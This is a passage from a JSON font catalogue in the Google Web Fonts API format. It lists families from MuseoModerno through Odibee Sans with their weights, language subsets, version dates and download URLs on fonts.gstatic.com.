seomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMlZEuewajeKlCdo.ttf","500":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMmREuewajeKlCdo.ttf","600":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMohDuewajeKlCdo.ttf","700":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMrFDuewajeKlCdo.ttf","800":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMtZDuewajeKlCdo.ttf","900":"http://fonts.gstatic.com/s/museomoderno/v2/zrf30HnU0_7wWdMrFcWqSEXPVyEaWJ55pTleMv9DuewajeKlCdo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mystery Quest","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mysteryquest/v8/-nF6OG414u0E6k0wynSGlujRHwElD_9Qz9E.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"NTR","variants":["regular"],"subsets":["latin","telugu"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/ntr/v9/RLpzK5Xy0ZjiGGhs5TA4bg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nanum Brush Script","variants":["regular"],"subsets":["korean","latin"],"version":"v17","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/nanumbrushscript/v17/wXK2E2wfpokopxzthSqPbcR5_gVaxazyjqBr1lO97Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Nanum Gothic","variants":["regular","700","800"],"subsets":["korean","latin"],"version":"v17","lastModified":"2019-07-22","files":{"regular":"http://fonts.gstatic.com/s/nanumgothic/v17/PN_3Rfi-oW3hYwmKDpxS7F_z_tLfxno73g.ttf","700":"http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LQv37zlEn14YEUQ.ttf","800":"http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LXv77zlEn14YEUQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nanum Gothic Coding","variants":["regular","700"],"subsets":["korean","latin"],"version":"v14","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIVdjzHisX_8vv59_xMxtPFW4IXROwsy6QxVs1X7tc.ttf","700":"http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIYdjzHisX_8vv59_xMxtPFW4IXROws8xgecsV88t5V9r4.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Nanum Myeongjo","variants":["regular","700","800"],"subsets":["korean","latin"],"version":"v15","lastModified":"2019-07-17","files":{"regular":"http://fonts.gstatic.com/s/nanummyeongjo/v15/9Btx3DZF0dXLMZlywRbVRNhxy1LreHQ8juyl.ttf","700":"http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pXV1A0pfCs5Kos.ttf","800":"http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pLVFA0pfCs5Kos.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Nanum Pen Script","variants":["regular"],"subsets":["korean","latin"],"version":"v15","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/nanumpenscript/v15/daaDSSYiLGqEal3MvdA_FOL_3FkN2z7-aMFCcTU.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Nerko One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/nerkoone/v1/m8JQjfZSc7OXlB3ZMOjzcJ5BZmqa3A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Neucha","variants":["regular"],"subsets":["cyrillic","latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/neucha/v12/q5uGsou0JOdh94bvugNsCxVEgA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Neuton","variants":["200","300","regular","italic","700","800"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKAKkfegD5Drog6Q.ttf","300":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKZKofegD5Drog6Q.ttf","regular":"http://fonts.gstatic.com/s/neuton/v13/UMBTrPtMoH62xUZyyII7civlBw.ttf","italic":"http://fonts.gstatic.com/s/neuton/v13/UMBRrPtMoH62xUZCyog_UC71B6M5.ttf","700":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKdK0fegD5Drog6Q.ttf","800":"http://fonts.gstatic.com/s/neuton/v13/UMBQrPtMoH62xUZKaK4fegD5Drog6Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"New Rocker","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/newrocker/v9/MwQzbhjp3-HImzcCU_cJkGMViblPtXs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"News Cycle","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v17","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/newscycle/v17/CSR64z1Qlv-GDxkbKVQ_TOcATNt_pOU.ttf","700":"http://fonts.gstatic.com/s/newscycle/v17/CSR54z1Qlv-GDxkbKVQ_dFsvaNNUuOwkC2s.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Niconne","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/niconne/v10/w8gaH2QvRug1_rTfrQut2F4OuOo.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Niramit","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVXx7tiiEr5_BdZ8.ttf","200italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiXimOq73EZZ_f6w.ttf","300":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVRh4tiiEr5_BdZ8.ttf","300italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiOiqOq73EZZ_f6w.ttf","regular":"http://fonts.gstatic.com/s/niramit/v5/I_uuMpWdvgLdNxVLbbRQkiCvs5Y.ttf","italic":"http://fonts.gstatic.com/s/niramit/v5/I_usMpWdvgLdNxVLXbZalgKqo5bYbA.ttf","500":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVUB5tiiEr5_BdZ8.ttf","500italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiYiuOq73EZZ_f6w.ttf","600":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVWx-tiiEr5_BdZ8.ttf","600italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiTiyOq73EZZ_f6w.ttf","700":"http://fonts.gstatic.com/s/niramit/v5/I_urMpWdvgLdNxVLVQh_tiiEr5_BdZ8.ttf","700italic":"http://fonts.gstatic.com/s/niramit/v5/I_upMpWdvgLdNxVLXbZiKi2Oq73EZZ_f6w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nixie One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/nixieone/v11/lW-8wjkKLXjg5y2o2uUoUOFzpS-yLw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nobile","variants":["regular","italic","500","500italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/nobile/v12/m8JTjflSeaOVl1i2XqfXeLVdbw.ttf","italic":"http://fonts.gstatic.com/s/nobile/v12/m8JRjflSeaOVl1iGXK3TWrBNb3OD.ttf","500":"http://fonts.gstatic.com/s/nobile/v12/m8JQjflSeaOVl1iOqo7zcJ5BZmqa3A.ttf","500italic":"http://fonts.gstatic.com/s/nobile/v12/m8JWjflSeaOVl1iGXJUnc5RFRG-K3Mud.ttf","700":"http://fonts.gstatic.com/s/nobile/v12/m8JQjflSeaOVl1iO4ojzcJ5BZmqa3A.ttf","700italic":"http://fonts.gstatic.com/s/nobile/v12/m8JWjflSeaOVl1iGXJVvdZRFRG-K3Mud.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nokora","variants":["regular","700"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/nokora/v14/hYkIPuwgTubzaWxQOzoPovZg8Q.ttf","700":"http://fonts.gstatic.com/s/nokora/v14/hYkLPuwgTubzaWxohxUrqt18-B9Uuw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Norican","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/norican/v9/MwQ2bhXp1eSBqjkPGJJRtGs-lbA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Nosifer","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/nosifer/v9/ZGjXol5JTp0g5bxZaC1RVDNdGDs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Notable","variants":["regular"],"subsets":["latin"],"version":"v6","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/notable/v6/gNMEW3N_SIqx-WX9-HMoFIez5MI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nothing You Could Do","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/nothingyoucoulddo/v10/oY1B8fbBpaP5OX3DtrRYf_Q2BPB1SnfZb0OJl1ol2Ymo.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Noticia Text","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/noticiatext/v10/VuJ2dNDF2Yv9qppOePKYRP1GYTFZt0rNpQ.ttf","italic":"http://fonts.gstatic.com/s/noticiatext/v10/VuJodNDF2Yv9qppOePKYRP12YztdlU_dpSjt.ttf","700":"http://fonts.gstatic.com/s/noticiatext/v10/VuJpdNDF2Yv9qppOePKYRP1-3R59v2HRrDH0eA.ttf","700italic":"http://fonts.gstatic.com/s/noticiatext/v10/VuJrdNDF2Yv9qppOePKYRP12YwPhumvVjjTkeMnz.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Sans","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","devanagari","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/notosans/v11/o-0IIpQlx3QUlC5A4PNb4j5Ba_2c7A.ttf","italic":"http://fonts.gstatic.com/s/notosans/v11/o-0OIpQlx3QUlC5A4PNr4DRFSfiM7HBj.ttf","700":"http://fonts.gstatic.com/s/notosans/v11/o-0NIpQlx3QUlC5A4PNjXhFlY9aA5Wl6PQ.ttf","700italic":"http://fonts.gstatic.com/s/notosans/v11/o-0TIpQlx3QUlC5A4PNr4Az5ZtyEx2xqPaif.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans HK","variants":["100","300","regular","500","700","900"],"subsets":["chinese-hongkong","latin"],"version":"v6","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanshk/v6/nKKO-GM_FYFRJvXzVXaAPe9ZUHp1MOv2ObB7.otf","300":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZmFhTHMX6MKliqQ.otf","regular":"http://fonts.gstatic.com/s/notosanshk/v6/nKKQ-GM_FYFRJvXzVXaAPe9hMnB3Eu7mOQ.otf","500":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZwFlTHMX6MKliqQ.otf","700":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZiF9THMX6MKliqQ.otf","900":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZsF1THMX6MKliqQ.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans JP","variants":["100","300","regular","500","700","900"],"subsets":["japanese","latin"],"version":"v28","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosansjp/v28/-F6ofjtqLzI2JPCgQBnw7HFQoggM-FNthvIU.otf","300":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQaioq1H1hj-sNFQ.otf","regular":"http://fonts.gstatic.com/s/notosansjp/v28/-F62fjtqLzI2JPCgQBnw7HFowAIO2lZ9hg.otf","500":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQMisq1H1hj-sNFQ.otf","700":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQei0q1H1hj-sNFQ.otf","900":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQQi8q1H1hj-sNFQ.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans KR","variants":["100","300","regular","500","700","900"],"subsets":["korean","latin"],"version":"v13","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanskr/v13/Pby6FmXiEBPT4ITbgNA5CgmOsn7uwpYcuH8y.otf","300":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOelzI7rgQsWYrzw.otf","regular":"http://fonts.gstatic.com/s/notosanskr/v13/PbykFmXiEBPT4ITbgNA5Cgm20HTs4JMMuA.otf","500":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOIl3I7rgQsWYrzw.otf","700":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOalvI7rgQsWYrzw.otf","900":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOUlnI7rgQsWYrzw.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans SC","variants":["100","300","regular","500","700","900"],"subsets":["chinese-simplified","latin"],"version":"v12","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanssc/v12/k3kJo84MPvpLmixcA63oeALZTYKL2wv287Sb.otf","300":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZhaCt9yX6-q2CGg.otf","regular":"http://fonts.gstatic.com/s/notosanssc/v12/k3kXo84MPvpLmixcA63oeALhL4iJ-Q7m8w.otf","500":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZ3aGt9yX6-q2CGg.otf","700":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZlaet9yX6-q2CGg.otf","900":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZraWt9yX6-q2CGg.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans TC","variants":["100","300","regular","500","700","900"],"subsets":["chinese-traditional","latin"],"version":"v11","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanstc/v11/-nFlOG829Oofr2wohFbTp9i9WyEJIfNZ1sjy.otf","300":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9kwMvDd1V39Hr7g.otf","regular":"http://fonts.gstatic.com/s/notosanstc/v11/-nF7OG829Oofr2wohFbTp9iFOSsLA_ZJ1g.otf","500":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9ywIvDd1V39Hr7g.otf","700":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9gwQvDd1V39Hr7g.otf","900":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9uwYvDd1V39Hr7g.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Serif","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/notoserif/v9/ga6Iaw1J5X9T9RW6j9bNTFAcaRi_bMQ.ttf","italic":"http://fonts.gstatic.com/s/notoserif/v9/ga6Kaw1J5X9T9RW6j9bNfFIWbTq6fMRRMw.ttf","700":"http://fonts.gstatic.com/s/notoserif/v9/ga6Law1J5X9T9RW6j9bNdOwzTRCUcM1IKoY.ttf","700italic":"http://fonts.gstatic.com/s/notoserif/v9/ga6Vaw1J5X9T9RW6j9bNfFIu0RWedO9NOoYIDg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif JP","variants":["200","300","regular","500","600","700","900"],"subsets":["japanese","latin"],"version":"v8","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZBaPRkgfU8fEwb0.otf","300":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZHKMRkgfU8fEwb0.otf","regular":"http://fonts.gstatic.com/s/notoserifjp/v8/xn7mYHs72GKoTvER4Gn3b5eMXNikYkY0T84.otf","500":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZCqNRkgfU8fEwb0.otf","600":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZAaKRkgfU8fEwb0.otf","700":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZGKLRkgfU8fEwb0.otf","900":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZFqJRkgfU8fEwb0.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif KR","variants":["200","300","regular","500","600","700","900"],"subsets":["korean","latin"],"version":"v7","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTihC8O1ZNH1ahck.otf","300":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTkxB8O1ZNH1ahck.otf","regular":"http://fonts.gstatic.com/s/notoserifkr/v7/3Jn7SDn90Gmq2mr3blnHaTZXduZp1ONyKHQ.otf","500":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXThRA8O1ZNH1ahck.otf","600":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTjhH8O1ZNH1ahck.otf","700":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTlxG8O1ZNH1ahck.otf","900":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTmRE8O1ZNH1ahck.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif SC","variants":["200","300","regular","500","600","700","900"],"subsets":["chinese-simplified","latin"],"version":"v8","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mm63SzZBEtERe7U.otf","300":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mgq0SzZBEtERe7U.otf","regular":"http://fonts.gstatic.com/s/notoserifsc/v8/H4chBXePl9DZ0Xe7gG9cyOj7oqCcbzhqDtg.otf","500":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mlK1SzZBEtERe7U.otf","600":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mn6ySzZBEtERe7U.otf","700":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mhqzSzZBEtERe7U.otf","900":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7miKxSzZBEtERe7U.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif TC","variants":["200","300","regular","500","600","700","900"],"subsets":["chinese-traditional","latin"],"version":"v8","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0Bvr8vbX9GTsoOAX4.otf","300":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvtssbX9GTsoOAX4.otf","regular":"http://fonts.gstatic.com/s/notoseriftc/v8/XLYgIZb5bJNDGYxLBibeHZ0BhnEESXFtUsM.otf","500":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvoMtbX9GTsoOAX4.otf","600":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0Bvq8qbX9GTsoOAX4.otf","700":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvssrbX9GTsoOAX4.otf","900":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvvMpbX9GTsoOAX4.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Nova Cut","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novacut/v12/KFOkCnSYu8mL-39LkWxPKTM1K9nz.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Flat","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaflat/v12/QdVUSTc-JgqpytEbVebEuStkm20oJA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Mono","variants":["regular"],"subsets":["greek","latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novamono/v11/Cn-0JtiGWQ5Ajb--MRKfYGxYrdM9Sg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Nova Oval","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaoval/v12/jAnEgHdmANHvPenMaswCMY-h3cWkWg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Round","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaround/v12/flU9Rqquw5UhEnlwTJYTYYfeeetYEBc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Script","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novascript/v13/7Au7p_IpkSWSTWaFWkumvmQNEl0O0kEx.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Slim","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaslim/v12/Z9XUDmZNQAuem8jyZcn-yMOInrib9Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Square","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novasquare/v13/RrQUbo9-9DV7b06QHgSWsZhARYMgGtWA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Numans","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/numans/v10/SlGRmQmGupYAfH8IYRggiHVqaQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nunito","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-11-25","files":{"200":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofA-sekZuHJeTsfDQ.ttf","200italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN5MZ-vNWz4PDWtj.ttf","300":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAnsSkZuHJeTsfDQ.ttf","300italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN4oZOvNWz4PDWtj.ttf","regular":"http://fonts.gstatic.com/s/nunito/v16/XRXV3I6Li01BKof4MuyAbsrVcA.ttf","italic":"http://fonts.gstatic.com/s/nunito/v16/XRXX3I6Li01BKofIMOaETM_FcCIG.ttf","600":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofA6sKkZuHJeTsfDQ.ttf","600italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN5cYuvNWz4PDWtj.ttf","700":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAjsOkZuHJeTsfDQ.ttf","700italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN44Y-vNWz4PDWtj.ttf","800":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAksCkZuHJeTsfDQ.ttf","800italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN4kYOvNWz4PDWtj.ttf","900":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAtsGkZuHJeTsfDQ.ttf","900italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN4AYevNWz4PDWtj.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nunito Sans","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-10","files":{"200":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc9yAv5qWVAgVol-.ttf","200italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4GxZrU1QCU5l-06Y.ttf","300":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8WAf5qWVAgVol-.ttf","300italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G3JoU1QCU5l-06Y.ttf","regular":"http://fonts.gstatic.com/s/nunitosans/v6/pe0qMImSLYBIv1o4X1M8cfe6Kdpickwp.ttf","italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe0oMImSLYBIv1o4X1M8cce4I95Ad1wpT5A.ttf","600":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc9iB_5qWVAgVol-.ttf","600italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4GwZuU1QCU5l-06Y.ttf","700":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8GBv5qWVAgVol-.ttf","700italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G2JvU1QCU5l-06Y.ttf","800":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8aBf5qWVAgVol-.ttf","800italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G35sU1QCU5l-06Y.ttf","900":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8-BP5qWVAgVol-.ttf","900italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G1ptU1QCU5l-06Y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Odibee Sans","variants":["regular"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/odibeesans/v2/neIPzCSooYAho6WvjeToRYkyepH9qGsf.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Odor Mean 